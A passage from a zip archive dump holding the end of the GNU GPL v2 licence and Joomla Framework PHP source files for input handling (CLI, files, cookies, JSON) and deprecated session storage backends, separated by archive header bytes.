PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS How to Apply These Terms to Your New Programs If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively convey the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. <one line to give the program's name and a brief idea of what it does.> Copyright (C) <year> <name of author> This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA Also add information on how to contact you by electronic and paper mail. If the program is interactive, make it output a short notice like this when it starts in an interactive mode: Gnomovision version 69, Copyright (C) year name of author Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. The hypothetical commands `show w' and `show c' should show the appropriate parts of the General Public License. Of course, the commands you use may be called something other than `show w' and `show c'; they could even be mouse-clicks or menu items--whatever suits your program. You should also get your employer (if you work as a programmer) or your school, if any, to sign a "copyright disclaimer" for the program, if necessary. Here is a sample; alter the names: Yoyodyne, Inc., hereby disclaims all copyright interest in the program `Gnomovision' (which makes passes at compilers) written by James Hacker. <signature of Ty Coon>, 1 April 1989 Ty Coon, President of Vice This General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Library General Public License instead of this License. PKÜ�\2Fh��vendor/joomla/input/src/Cli.phpnu�[���<?php /** * Part of the Joomla Framework Input Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Input; use Joomla\Filter; /** * Joomla! Input CLI Class * * @since 1.0 * @deprecated 2.0 Use a Symfony\Component\Console\Input\InputInterface implementation when using the `joomla/console` package */ class Cli extends Input { /** * The executable that was called to run the CLI script. * * @var string * @since 1.0 */ public $executable; /** * The additional arguments passed to the script that are not associated * with a specific argument name. * * @var array * @since 1.0 */ public $args = array(); /** * Constructor. * * @param array $source Source data (Optional, default is $_REQUEST) * @param array $options Array of configuration parameters (Optional) * * @since 1.0 */ public function __construct($source = null, array $options = array()) { if (isset($options['filter'])) { $this->filter = $options['filter']; } else { $this->filter = new Filter\InputFilter; } // Get the command line options $this->parseArguments(); // Set the options for the class. $this->options = $options; } /** * Method to serialize the input. * * @return string The serialized input. * * @since 1.0 */ public function serialize() { // Load all of the inputs. $this->loadAllInputs(); // Remove $_ENV and $_SERVER from the inputs. $inputs = $this->inputs; unset($inputs['env'], $inputs['server']); // Serialize the executable, args, options, data, and inputs. return serialize(array($this->executable, $this->args, $this->options, $this->data, $inputs)); } /** * Gets a value from the input data. * * @param string $name Name of the value to get. * @param mixed $default Default value to return if variable does not exist. * @param string $filter Filter to apply to the value. * * @return mixed The filtered input value. * * @since 1.0 */ public function get($name, $default = null, $filter = 'string') { return parent::get($name, $default, $filter); } /** * Method to unserialize the input. * * @param string $input The serialized input. * * @return void * * @since 1.0 */ public function unserialize($input) { // Unserialize the executable, args, options, data, and inputs. list($this->executable, $this->args, $this->options, $this->data, $this->inputs) = unserialize($input); // Load the filter. if (isset($this->options['filter'])) { $this->filter = $this->options['filter']; } else { $this->filter = new Filter\InputFilter; } } /** * Initialise the options and arguments * * Not supported: -abc c-value * * @return void * * @since 1.0 */ protected function parseArguments() { $argv = $_SERVER['argv']; $this->executable = array_shift($argv); $out = array(); for ($i = 0, $j = \count($argv); $i < $j; $i++) { $arg = $argv[$i]; // --foo --bar=baz if (substr($arg, 0, 2) === '--') { $eqPos = strpos($arg, '='); // --foo if ($eqPos === false) { $key = substr($arg, 2); // --foo value if ($i + 1 < $j && $argv[$i + 1][0] !== '-') { $value = $argv[$i + 1]; $i++; } else { $value = isset($out[$key]) ? $out[$key] : true; } $out[$key] = $value; } // --bar=baz else { $key = substr($arg, 2, $eqPos - 2); $value = substr($arg, $eqPos + 1); $out[$key] = $value; } } // -k=value -abc elseif (substr($arg, 0, 1) === '-') { // -k=value if (substr($arg, 2, 1) === '=') { $key = substr($arg, 1, 1); $value = substr($arg, 3); $out[$key] = $value; } // -abc else { $chars = str_split(substr($arg, 1)); foreach ($chars as $char) { $key = $char; $value = isset($out[$key]) ? $out[$key] : true; $out[$key] = $value; } // -a a-value if ((\count($chars) === 1) && ($i + 1 < $j) && ($argv[$i + 1][0] !== '-')) { $out[$key] = $argv[$i + 1]; $i++; } } } // Plain-arg else { $this->args[] = $arg; } } $this->data = $out; } } PKÜ�\�{�%�%!vendor/joomla/input/src/Input.phpnu�[���<?php /** * Part of the Joomla Framework Input Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Input; use Joomla\Filter; /** * Joomla! Input Base Class * * This is an abstracted input class used to manage retrieving data from the application environment. * * @since 1.0 * * @property-read Input $get * @property-read Input $post * @property-read Input $request * @property-read Input $server * @property-read Input $env * @property-read Files $files * @property-read Cookie $cookie * * @method integer getInt($name, $default = null) Get a signed integer. * @method integer getUint($name, $default = null) Get an unsigned integer. * @method float getFloat($name, $default = null) Get a floating-point number. * @method boolean getBool($name, $default = null) Get a boolean value. * @method string getWord($name, $default = null) Get a word. * @method string getAlnum($name, $default = null) Get an alphanumeric string. * @method string getCmd($name, $default = null) Get a CMD filtered string. * @method string getBase64($name, $default = null) Get a base64 encoded string. * @method string getString($name, $default = null) Get a string. * @method string getHtml($name, $default = null) Get a HTML string. * @method string getPath($name, $default = null) Get a file path. * @method string getUsername($name, $default = null) Get a username. */ class Input implements \Serializable, \Countable { /** * Container with allowed superglobals * * @var array * @since 1.3.0 * @note Once PHP 7.1 is the minimum supported version this should become a private constant */ private static $allowedGlobals = array('REQUEST', 'GET', 'POST', 'FILES', 'SERVER', 'ENV'); /** * Options array for the Input instance. * * @var array * @since 1.0 */ protected $options = array(); /** * Filter object to use. * * @var Filter\InputFilter * @since 1.0 */ protected $filter; /** * Input data. * * @var array * @since 1.0 */ protected $data = array(); /** * Input objects * * @var Input[] * @since 1.0 */ protected $inputs = array(); /** * Is all GLOBAL added * * @var boolean * @since 1.1.4 */ protected static $loaded = false; /** * Constructor. * * @param array $source Optional source data. If omitted, a copy of the server variable '_REQUEST' is used. * @param array $options An optional associative array of configuration parameters: * filter: An instance of Filter\Input. If omitted, a default filter is initialised. * * @since 1.0 */ public function __construct($source = null, array $options = array()) { if (isset($options['filter'])) { $this->filter = $options['filter']; } else { $this->filter = new Filter\InputFilter; } if ($source === null) { $this->data = &$_REQUEST; } else { $this->data = $source; } // Set the options for the class. $this->options = $options; } /** * Magic method to get an input object * * @param mixed $name Name of the input object to retrieve. * * @return Input The request input object * * @since 1.0 */ public function __get($name) { if (isset($this->inputs[$name])) { return $this->inputs[$name]; } $className = '\\Joomla\\Input\\' . ucfirst($name); if (class_exists($className)) { $this->inputs[$name] = new $className(null, $this->options); return $this->inputs[$name]; } $superGlobal = '_' . strtoupper($name); if (\in_array(strtoupper($name), self::$allowedGlobals, true) && isset($GLOBALS[$superGlobal])) { $this->inputs[$name] = new Input($GLOBALS[$superGlobal], $this->options); return $this->inputs[$name]; } // TODO throw an exception } /** * Get the number of variables. * * @return integer The number of variables in the input. * * @since 1.0 * @see Countable::count() */ public function count() { return \count($this->data); } /** * Gets a value from the input data. * * @param string $name Name of the value to get. * @param mixed $default Default value to return if variable does not exist. * @param string $filter Filter to apply to the value. * * @return mixed The filtered input value. * * @see \Joomla\Filter\InputFilter::clean() * @since 1.0 */ public function get($name, $default = null, $filter = 'cmd') { if (isset($this->data[$name])) { return $this->filter->clean($this->data[$name], $filter); } return $default; } /** * Gets an array of values from the request. * * @param array $vars Associative array of keys and filter types to apply. * If empty and datasource is null, all the input data will be returned * but filtered using the default case in JFilterInput::clean. * @param mixed $datasource Array to retrieve data from, or null * * @return mixed The filtered input data. * * @since 1.0 */ public function getArray(array $vars = array(), $datasource = null) { if (empty($vars) && $datasource === null) { $vars = $this->data; } $results = array(); foreach ($vars as $k => $v) { if (\is_array($v)) { if ($datasource === null) { $results[$k] = $this->getArray($v, $this->get($k, null, 'array')); } else { $results[$k] = $this->getArray($v, $datasource[$k]); } } else { if ($datasource === null) { $results[$k] = $this->get($k, null, $v); } elseif (isset($datasource[$k])) { $results[$k] = $this->filter->clean($datasource[$k], $v); } else { $results[$k] = $this->filter->clean(null, $v); } } } return $results; } /** * Get the Input instance holding the data for the current request method * * @return Input * * @since 1.3.0 */ public function getInputForRequestMethod() { switch (strtoupper($this->getMethod())) { case 'GET': return $this->get; case 'POST': return $this->post; default: // PUT, PATCH, etc. don't have superglobals return $this; } } /** * Sets a value * * @param string $name Name of the value to set. * @param mixed $value Value to assign to the input. * * @return void * * @since 1.0 */ public function set($name, $value) { $this->data[$name] = $value; } /** * Define a value. The value will only be set if there's no value for the name or if it is null. * * @param string $name Name of the value to define. * @param mixed $value Value to assign to the input. * * @return void * * @since 1.0 */ public function def($name, $value) { if (isset($this->data[$name])) { return; } $this->data[$name] = $value; } /** * Check if a value name exists. * * @param string $name Value name * * @return boolean * * @since 1.2.0 */ public function exists($name) { return isset($this->data[$name]); } /** * Magic method to get filtered input data. * * @param string $name Name of the filter type prefixed with 'get'. * @param array $arguments [0] The name of the variable [1] The default value. * * @return mixed The filtered input value. * * @since 1.0 */ public function __call($name, $arguments) { if (substr($name, 0, 3) == 'get') { $filter = substr($name, 3); $default = null; if (isset($arguments[1])) { $default = $arguments[1]; } return $this->get($arguments[0], $default, $filter); } } /** * Gets the request method. * * @return string The request method. * * @since 1.0 */ public function getMethod() { $method = strtoupper($_SERVER['REQUEST_METHOD']); return $method; } /** * Method to serialize the input. * * @return string The serialized input. * * @since 1.0 */ public function serialize() { // Load all of the inputs. $this->loadAllInputs(); // Remove $_ENV and $_SERVER from the inputs. $inputs = $this->inputs; unset($inputs['env'], $inputs['server']); // Serialize the options, data, and inputs. return serialize(array($this->options, $this->data, $inputs)); } /** * Method to unserialize the input. * * @param string $input The serialized input. * * @return void * * @since 1.0 */ public function unserialize($input) { // Unserialize the options, data, and inputs. list($this->options, $this->data, $this->inputs) = unserialize($input); // Load the filter. if (isset($this->options['filter'])) { $this->filter = $this->options['filter']; } else { $this->filter = new Filter\InputFilter; } } /** * Method to load all of the global inputs. * * @return void * * @since 1.0 */ protected function loadAllInputs() { if (!self::$loaded) { // Load up all the globals. foreach ($GLOBALS as $global => $data) { // Check if the global starts with an underscore and is allowed. if (strpos($global, '_') === 0 && \in_array(substr($global, 1), self::$allowedGlobals, true)) { // Convert global name to input name. $global = strtolower($global); $global = substr($global, 1); // Get the input. $this->$global; } } self::$loaded = true; } } } PKÜ�\M:�� � !vendor/joomla/input/src/Files.phpnu�[���<?php /** * Part of the Joomla Framework Input Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Input; use Joomla\Filter; /** * Joomla! Input Files Class * * @since 1.0 */ class Files extends Input { /** * The pivoted data from a $_FILES or compatible array. * * @var array * @since 1.0 */ protected $decodedData = array(); /** * The class constructor. * * @param array $source The source argument is ignored. $_FILES is always used. * @param array $options An optional array of configuration options: * filter : a custom JFilterInput object. * * @since 1.0 */ public function __construct($source = null, array $options = array()) { if (isset($options['filter'])) { $this->filter = $options['filter']; } else { $this->filter = new Filter\InputFilter; } // Set the data source. $this->data = & $_FILES; // Set the options for the class. $this->options = $options; } /** * Gets a value from the input data. * * @param string $name The name of the input property (usually the name of the files INPUT tag) to get. * @param mixed $default The default value to return if the named property does not exist. * @param string $filter The filter to apply to the value. * * @return mixed The filtered input value. * * @see \Joomla\Filter\InputFilter::clean() * @since 1.0 */ public function get($name, $default = null, $filter = 'cmd') { if (isset($this->data[$name])) { $results = $this->decodeData( array( $this->data[$name]['name'], $this->data[$name]['type'], $this->data[$name]['tmp_name'], $this->data[$name]['error'], $this->data[$name]['size'], ) ); return $results; } return $default; } /** * Method to decode a data array. * * @param array $data The data array to decode. * * @return array * * @since 1.0 */ protected function decodeData(array $data) { $result = array(); if (\is_array($data[0])) { foreach ($data[0] as $k => $v) { $result[$k] = $this->decodeData(array($data[0][$k], $data[1][$k], $data[2][$k], $data[3][$k], $data[4][$k])); } return $result; } return array('name' => $data[0], 'type' => $data[1], 'tmp_name' => $data[2], 'error' => $data[3], 'size' => $data[4]); } /** * Sets a value. * * @param string $name The name of the input property to set. * @param mixed $value The value to assign to the input property. * * @return void * * @since 1.0 */ public function set($name, $value) { // Restricts the usage of parent's set method. } } PKÜ�\/g��� � "vendor/joomla/input/src/Cookie.phpnu�[���<?php /** * Part of the Joomla Framework Input Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Input; use Joomla\Filter; /** * Joomla! Input Cookie Class * * @since 1.0 */ class Cookie extends Input { /** * Constructor. * * @param array $source Ignored. * @param array $options Array of configuration parameters (Optional) * * @since 1.0 */ public function __construct($source = null, array $options = array()) { if (isset($options['filter'])) { $this->filter = $options['filter']; } else { $this->filter = new Filter\InputFilter; } // Set the data source. $this->data = & $_COOKIE; // Set the options for the class. $this->options = $options; } /** * Sets a value * * @param string $name Name of the value to set. * @param mixed $value Value to assign to the input. * @param array $options An associative array which may have any of the keys expires, path, domain, * secure, httponly and samesite. The values have the same meaning as described * for the parameters with the same name. The value of the samesite element * should be either Lax or Strict. If any of the allowed options are not given, * their default values are the same as the default values of the explicit * parameters. If the samesite element is omitted, no SameSite cookie attribute * is set. * * @return void * * @link https://www.ietf.org/rfc/rfc2109.txt * @link https://php.net/manual/en/function.setcookie.php * * @since 1.0 * * @note As of 1.4.0, the (name, value, expire, path, domain, secure, httpOnly) signature is deprecated and will not be supported * when support for PHP 7.2 and earlier is dropped */ public function set($name, $value, $options = array()) { // BC layer to convert old method parameters. if (is_array($options) === false) { $argList = func_get_args(); $options = array( 'expires' => isset($argList[2]) === true ? $argList[2] : 0, 'path' => isset($argList[3]) === true ? $argList[3] : '', 'domain' => isset($argList[4]) === true ? $argList[4] : '', 'secure' => isset($argList[5]) === true ? $argList[5] : false, 'httponly' => isset($argList[6]) === true ? $argList[6] : false, ); } // Set the cookie if (version_compare(PHP_VERSION, '7.3', '>=')) { setcookie($name, $value, $options); } else { // Using the setcookie function before php 7.3, make sure we have default values. if (array_key_exists('expires', $options) === false) { $options['expires'] = 0; } if (array_key_exists('path', $options) === false) { $options['path'] = ''; } if (array_key_exists('domain', $options) === false) { $options['domain'] = ''; } if (array_key_exists('secure', $options) === false) { $options['secure'] = false; } if (array_key_exists('httponly', $options) === false) { $options['httponly'] = false; } setcookie($name, $value, $options['expires'], $options['path'], $options['domain'], $options['secure'], $options['httponly']); } $this->data[$name] = $value; } } PKÜ�\h� � vendor/joomla/input/src/Json.phpnu�[���<?php /** * Part of the Joomla Framework Input Package * * @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Input; use Joomla\Filter; /** * Joomla! Input JSON Class * * This class decodes a JSON string from the raw request data and makes it available via * the standard Input interface. * * @since 1.0 */ class Json extends Input { /** * @var string The raw JSON string from the request. * @since 1.0 */ private $raw; /** * Constructor. * * @param array $source Source data (Optional, default is the raw HTTP input decoded from JSON) * @param array $options Array of configuration parameters (Optional) * * @since 1.0 */ public function __construct($source = null, array $options = array()) { if (isset($options['filter'])) { $this->filter = $options['filter']; } else { $this->filter = new Filter\InputFilter; } if ($source === null) { $this->raw = file_get_contents('php://input'); // This is a workaround for where php://input has already been read. // See note under php://input on https://www.php.net/manual/en/wrappers.php.php if (empty($this->raw) && isset($GLOBALS['HTTP_RAW_POST_DATA'])) { $this->raw = $GLOBALS['HTTP_RAW_POST_DATA']; } $this->data = json_decode($this->raw, true); if (!\is_array($this->data)) { $this->data = array(); } } else { $this->data = $source; } // Set the options for the class. $this->options = $options; } /** * Gets the raw JSON string from the request. * * @return string The raw JSON string from the request. * * @since 1.0 */ public function getRaw() { return $this->raw; } } PKÜ�\�>){��0vendor/joomla/session/Joomla/Session/Storage.phpnu�[���<?php /** * Part of the Joomla Framework Session Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Session; use Joomla\Filter\InputFilter; /** * Custom session storage handler for PHP * * @link https://www.php.net/manual/en/function.session-set-save-handler.php * @since 1.0 * @deprecated 2.0 The Storage class chain will be removed. */ abstract class Storage { /** * @var Storage[] Storage instances container. * @since 1.0 * @deprecated 2.0 */ protected static $instances = array(); /** * Constructor * * @param array $options Optional parameters. * * @since 1.0 * @deprecated 2.0 */ public function __construct($options = array()) { $this->register($options); } /** * Returns a session storage handler object, only creating it if it doesn't already exist. * * @param string $name The session store to instantiate * @param array $options Array of options * * @return Storage * * @since 1.0 * @deprecated 2.0 */ public static function getInstance($name = 'none', $options = array()) { $filter = new InputFilter; $name = strtolower($filter->clean($name, 'word')); if (empty(self::$instances[$name])) { $class = '\\Joomla\\Session\\Storage\\' . ucfirst($name); if (!class_exists($class)) { $path = __DIR__ . '/storage/' . $name . '.php'; if (file_exists($path)) { require_once $path; } else { // No attempt to die gracefully here, as it tries to close the non-existing session exit('Unable to load session storage class: ' . $name); } } self::$instances[$name] = new $class($options); } return self::$instances[$name]; } /** * Register the functions of this class with PHP's session handler * * @return void * * @since 1.0 * @deprecated 2.0 */ public function register() { if (!headers_sent()) { session_set_save_handler( array($this, 'open'), array($this, 'close'), array($this, 'read'), array($this, 'write'), array($this, 'destroy'), array($this, 'gc') ); } } /** * Open the SessionHandler backend. * * @param string $savePath The path to the session object. * @param string $sessionName The name of the session. * * @return boolean True on success, false otherwise. * * @since 1.0 * @deprecated 2.0 */ public function open($savePath, $sessionName) { return true; } /** * Close the SessionHandler backend. * * @return boolean True on success, false otherwise. * * @since 1.0 * @deprecated 2.0 */ public function close() { return true; } /** * Read the data for a particular session identifier from the * SessionHandler backend. * * @param string $id The session identifier. * * @return string The session data. * * @since 1.0 * @deprecated 2.0 */ public function read($id) { return ''; } /** * Write session data to the SessionHandler backend. * * @param string $id The session identifier. * @param string $sessionData The session data. * * @return boolean True on success, false otherwise. * * @since 1.0 * @deprecated 2.0 */ public function write($id, $sessionData) { return true; } /** * Destroy the data for a particular session identifier in the * SessionHandler backend. * * @param string $id The session identifier. * * @return boolean True on success, false otherwise. * * @since 1.0 * @deprecated 2.0 */ public function destroy($id) { return true; } /** * Garbage collect stale sessions from the SessionHandler backend. * * @param integer $maxlifetime The maximum age of a session. * * @return boolean True on success, false otherwise. * * @since 1.0 * @deprecated 2.0 */ public function gc($maxlifetime = null) { return true; } /** * Test to see if the SessionHandler is available. * * @return boolean True on success, false otherwise. * * @since 1.0 * @deprecated 2.0 */ public static function isSupported() { return true; } } PKÜ�\I�Egg:vendor/joomla/session/Joomla/Session/Storage/Memcached.phpnu�[���<?php /** * Part of the Joomla Framework Session Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Session\Storage; use Joomla\Session\Storage; /** * Memcached session storage handler for PHP * * @since 1.0 * @deprecated 2.0 The Storage class chain will be removed */ class Memcached extends Storage { /** * Container for server data * * @var array * @since 1.0 * @deprecated 2.0 */ protected $_servers = array(); /** * Constructor * * @param array $options Optional parameters. * * @since 1.0 * @throws \RuntimeException * @deprecated 2.0 */ public function __construct($options = array()) { if (!self::isSupported()) { throw new \RuntimeException('Memcached Extension is not available', 404); } // This will be an array of loveliness // @todo: multiple servers $this->_servers = array( array( 'host' => isset($options['memcache_server_host']) ? $options['memcache_server_host'] : 'localhost', 'port' => isset($options['memcache_server_port']) ? $options['memcache_server_port'] : 11211, ), ); // Only construct parent AFTER host and port are sent, otherwise when register is called this will fail. parent::__construct($options); } /** * Register the functions of this class with PHP's session handler * * @return void * * @since 1.0 * @deprecated 2.0 */ public function register() { if (!headers_sent()) { ini_set('session.save_path', $this->_servers[0]['host'] . ':' . $this->_servers[0]['port']); ini_set('session.save_handler', 'memcached'); } } /** * Test to see if the SessionHandler is available. * * @return boolean True on success, false otherwise. * * @since 1.0 * @deprecated 2.0 */ public static function isSupported() { /* * GAE and HHVM have both had instances where Memcached the class was defined but no extension was loaded. * If the class is there, we can assume it works. */ return class_exists('Memcached'); } } PKÜ�\��Z��4vendor/joomla/session/Joomla/Session/Storage/Apc.phpnu�[���<?php /** * Part of the Joomla Framework Session Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Session\Storage; use Joomla\Session\Storage; /** * APC session storage handler for PHP * * @link https://www.php.net/manual/en/function.session-set-save-handler.php * @since 1.0 * @deprecated 2.0 The Storage class chain will be removed. */ class Apc extends Storage { /** * Constructor * * @param array $options Optional parameters * * @since 1.0 * @throws \RuntimeException * @deprecated 2.0 */ public function __construct($options = array()) { if (!self::isSupported()) { throw new \RuntimeException('APC Extension is not available', 404); } parent::__construct($options); } /** * Read the data for a particular session identifier from the * SessionHandler backend. * * @param string $id The session identifier. * * @return string The session data. * * @since 1.0 * @deprecated 2.0 */ public function read($id) { $sess_id = 'sess_' . $id; return (string) apc_fetch($sess_id); } /** * Write session data to the SessionHandler backend. * * @param string $id The session identifier. * @param string $sessionData The session data. * * @return boolean True on success, false otherwise. * * @since 1.0 * @deprecated 2.0 */ public function write($id, $sessionData) { $sess_id = 'sess_' . $id; return apc_store($sess_id, $sessionData, ini_get('session.gc_maxlifetime')); } /** * Destroy the data for a particular session identifier in the SessionHandler backend. * * @param string $id The session identifier. * * @return boolean True on success, false otherwise. * * @since 1.0 * @deprecated 2.0 */ public function destroy($id) { $sess_id = 'sess_' . $id; return apc_delete($sess_id); } /** * Test to see if the SessionHandler is available. * * @return boolean True on success, false otherwise. * * @since 1.0 * @deprecated 2.0 */ public static function isSupported() { return \extension_loaded('apc'); } } PKÜ�\���r@@9vendor/joomla/session/Joomla/Session/Storage/Database.phpnu�[���<?php /** * Part of the Joomla Framework Session Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Session\Storage; use Joomla\Database\DatabaseDriver; use Joomla\Session\Storage; /** * Database session storage handler for PHP * * @link https://www.php.net/manual/en/function.session-set-save-handler.php * @since 1.0 * @deprecated 2.0 The Storage class chain will be removed */ class Database extends Storage { /** * The DatabaseDriver to use when querying. * * @var DatabaseDriver * @since 1.0 * @deprecated 2.0 */ protected $db; /** * Constructor * * @param array $options Optional parameters. A `dbo` options is required. * * @since 1.0 * @throws \RuntimeException * @deprecated 2.0 */ public function __construct($options = array()) { if (isset($options['db']) && ($options['db'] instanceof DatabaseDriver)) { parent::__construct($options); $this->db = $options['db']; } else { throw new \RuntimeException( sprintf('The %s storage engine requires a `db` option that is an instance of Joomla\\Database\\DatabaseDriver.', __CLASS__) ); } } /** * Read the data for a particular session identifier from the SessionHandler backend. * * @param string $id The session identifier. * * @return string The session data. * * @since 1.0 * @deprecated 2.0 */ public function read($id) { try { // Get the session data from the database table. $query = $this->db->getQuery(true); $query->select($this->db->quoteName('data')) ->from($this->db->quoteName('#__session')) ->where($this->db->quoteName('session_id') . ' = ' . $this->db->quote($id)); $this->db->setQuery($query); return (string) $this->db->loadResult(); } catch (\Exception $e) { return false; } } /** * Write session data to the SessionHandler backend. * * @param string $id The session identifier. * @param string $data The session data. * * @return boolean True on success, false otherwise. * * @since 1.0 * @deprecated 2.0 */ public function write($id, $data) { try { $query = $this->db->getQuery(true); $query->update($this->db->quoteName('#__session')) ->set($this->db->quoteName('data') . ' = ' . $this->db->quote($data)) ->set($this->db->quoteName('time') . ' = ' . $this->db->quote((int) time())) ->where($this->db->quoteName('session_id') . ' = ' . $this->db->quote($id)); // Try to update the session data in the database table. $this->db->setQuery($query); if (!$this->db->execute()) { return false; } // Since $this->db->execute did not throw an exception the query was successful. // Either the data changed, or the data was identical. In either case we are done. return true; } catch (\Exception $e) { return false; } } /** * Destroy the data for a particular session identifier in the SessionHandler backend. * * @param string $id The session identifier. * * @return boolean True on success, false otherwise. * * @since 1.0 * @deprecated 2.0 */ public function destroy($id) { try { $query = $this->db->getQuery(true); $query->delete($this->db->quoteName('#__session')) ->where($this->db->quoteName('session_id') . ' = ' . $this->db->quote($id)); // Remove a session from the database. $this->db->setQuery($query); return (boolean) $this->db->execute(); } catch (\Exception $e) { return false; } } /** * Garbage collect stale sessions from the SessionHandler backend. * * @param integer $lifetime The maximum age of a session. * * @return boolean True on success, false otherwise. * * @since 1.0 * @deprecated 2.0 */ public function gc($lifetime = 1440) { // Determine the timestamp threshold with which to purge old sessions. $past = time() - $lifetime; try { $query = $this->db->getQuery(true); $query->delete($this->db->quoteName('#__session')) ->where($this->db->quoteName('time') . ' < ' . $this->db->quote((int) $past)); // Remove expired sessions from the database. $this->db->setQuery($query); return (boolean) $this->db->execute(); } catch (\Exception $e) { return false; } } } PKÜ�\����9vendor/joomla/session/Joomla/Session/Storage/Wincache.phpnu�[���<?php /** * Part of the Joomla Framework Session Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Session\Storage; use Joomla\Session\Storage; /** * WINCACHE session storage handler for PHP * * @since 1.0 * @deprecated 2.0 The Storage class chain will be removed */ class Wincache extends Storage { /** * Constructor * * @param array $options Optional parameters. * * @since 1.0 * @throws \RuntimeException * @deprecated 2.0 */ public function __construct($options = array()) { if (!self::isSupported()) { throw new \RuntimeException('Wincache Extension is not available', 404); } parent::__construct($options); } /** * Register the functions of this class with PHP's session handler * * @return void * * @since 1.0 * @deprecated 2.0 */ public function register() { if (!headers_sent()) { ini_set('session.save_handler', 'wincache'); } } /** * Test to see if the SessionHandler is available. * * @return boolean True on success, false otherwise. * * @since 1.0 * @deprecated 2.0 */ public static function isSupported() { return \extension_loaded('wincache') && \function_exists('wincache_ucache_get') && !strcmp(ini_get('wincache.ucenabled'), '1'); } } PKÜ�\�fy� 7vendor/joomla/session/Joomla/Session/Storage/Xcache.phpnu�[���<?php /** * Part of the Joomla Framework Session Package * * @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE */ namespace Joomla\Session\Storage; use Joomla\Session\Storage; /** * XCache session storage handler * * @since 1.0 * @deprecated 2.0 The Storage class chain will be removed */ class Xcache extends Storage { /** * Constructor * * @param array $options Optional parameters. * * @since 1.0 * @throws \RuntimeException * @deprecated 2.0 */ public function __construct($options = array()) { if (!self::isSupported()) { throw new \RuntimeException('XCache Extension is not available', 404); } parent::__construct($options); } /** * Read the data for a particular session identifier from the SessionHandler backend. * * @param string $id The session identifier. * * @return string The session data. * * @since 1.0 * @deprecated 2.0 */ public function read($id) { $sess_id = 'sess_' . $id; // Check if id exists if (!xcache_isset($sess_id)) { return ''; } return (string) xcache_get($sess_id); } /** * Write session data to the SessionHandler backend. * * @param string $id The session identifier. * @param string $sessionData The session data. * * @return boolean True on success, false otherwise. * * @since 1.0 * @deprecated 2.0 */ public function write($id, $sessionData) { $sess_id = 'sess_' . $id; return xcache_set($sess_id, $sessionData, ini_get('session.gc_maxlifetime')); } /** * Destroy the data for a particular session identifier in the SessionHandler backend. * * @param string $id The session identifier. * * @return boolean True on success, false otherwise. * * @since 1.0 * @deprecated 2.0 */ public function destroy($id) { $sess_id = 'sess_' . $id; if (!xcache_isset($sess_id)) { return true; } return xcache_unset($sess_id); } /** * Test to see if the SessionHandler is available. * * @return boolean True on success, false otherwise. * * @since 1.0 * @deprecated 2.0 */ public static function isSupported() { return \extension_loaded('xcache'); } } PKÜ�\SC���5vendor/joomla/session/Joomla/Session/Storage/None.phpnu�[���<?php /** * Part of the Joomla Framework Session Package * * @copyright Copyright (C) 2005 - 2020 Open Source 